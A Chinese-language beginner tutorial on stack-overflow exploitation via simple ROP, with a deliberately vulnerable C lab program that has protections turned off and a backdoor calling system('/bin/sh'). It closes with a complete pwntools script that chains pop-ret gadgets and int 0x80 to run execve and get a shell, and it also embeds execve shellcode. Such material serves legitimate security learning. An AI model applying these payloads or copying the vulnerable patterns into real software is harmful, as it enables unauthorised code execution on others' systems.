前言
栈溢出学习(三),讲述简单ROP实现栈溢出的原理及其实践方法
- 系列文章
栈溢出学习(一)之利用预留后门 & return2shellcode
栈溢出学习(二)之 jmp esp & return2libc
栈溢出学习(三)之简单ROP
栈溢出学习(四)之Hijack GOT - 本文属于新手实验难度,过程比较详细,适合新手学习
样例代码
本文使用的代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector -no-pie -z execstack -m32 -g -o lab0 lab0.c
优化等级 关闭canary 关闭地址随机化 关闭NX 生成32位程序
*/
void shell()//backdoor
{
printf("You got it\n");
system("/bin/sh");
}
void hello(char* name)
{
char buf[20];
strcpy(buf,name);
puts("hello!!!");
printf("i am %s ",buf);
}
void main(int argc,char** argv)
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100];
puts("*****************************************");
puts("PWN,hello world!");
gets(buf);
hello(buf);
}
0x05 ROP
- 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
- 目标:修改返回地址,让其指向内存中已有的一段指令
原理
这里借用长亭科技对ROP原理的阐述
payload : padding + address of gadget 1 + address of gadget 2 + ......+ address of gadget n
在这样的构造下,被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(也就是 gadget 2 的地址)弹出至 eip,程序继续跳转执行 gadget 2,以此类推
ROP最常见的效果是实现一次系统调用,在Linux系统下对应的是int 0x80
中断。执行这条指令之前,我们需要将需要调用的函数的编号存入eax
,调用参数按顺序存入ebx,ecx,edx,esi,edi
我们一般要找内存中寻找类似于pop eax;ret
的指令,来完成ROP链的拼接,举个例子,如下图。当程序跳转到pop eax;ret
的地址时,pop eax
将会把栈上的值赋给eax
,也就是将图中的param for eax
,我们将需要赋予eax
的值放到param for eax
即可
因此,ROP攻击中栈的简要示意图如下
补充:惯用绕过NX保护的套路是,调用mprotect()为栈开启可执行权限,之后执行shellcode
实现
- 注意:int 0x80调用是从左至右依次传参,与普通函数的由右往左依次传参不同
我们计划调用的函数为sys_execve
,查看syscall Reference,发现该参数需要调用5个寄存器
因此我们需要寻找
pop eax;ret
pop ebx;ret
pop ecx;ret
pop edx;ret
pop esi;ret
address of int 0x80
address of "/bin/sh"
address of "NULL"
address of "0x0b"
1.找各种pop ret
,演示eax
,其他同理
2.找address of int 0x80
3.找address of "/bin/sh"
4.找address of "NULL"
5.找address of "0x0b"
payload
from pwn import *
local = True
debug = True
shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
nop = b'\x90' * 12
padding1 = b'a'*32
padding2 = b'b'*4
esiaddr = p32(0xf7def706)
edxaddr = p32(0xf7dd8aae)
nulladdr = p32(0x8048105)
ecxaddr = p32(0xf7f696d5)
ebxaddr = p32(0xf7defbe5)
binshaddr = p32(0xf7f550cf)
eaxaddr = p32(0xf7dfbb5e)
noaddr = p32(0x80481b0)
int80 = p32(0xf7e048a5)
if local:
io = process('./lab1')
else:
io = remote(ip,port)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
#input()
gdb.attach(io)
input()
payload = padding1 + eaxaddr + noaddr
payload += ebxaddr + binshaddr
payload += ecxaddr + nulladdr
payload += edxaddr + nulladdr
payload += esiaddr + nulladdr
payload += int80
io.sendline(payload)
io.interactive()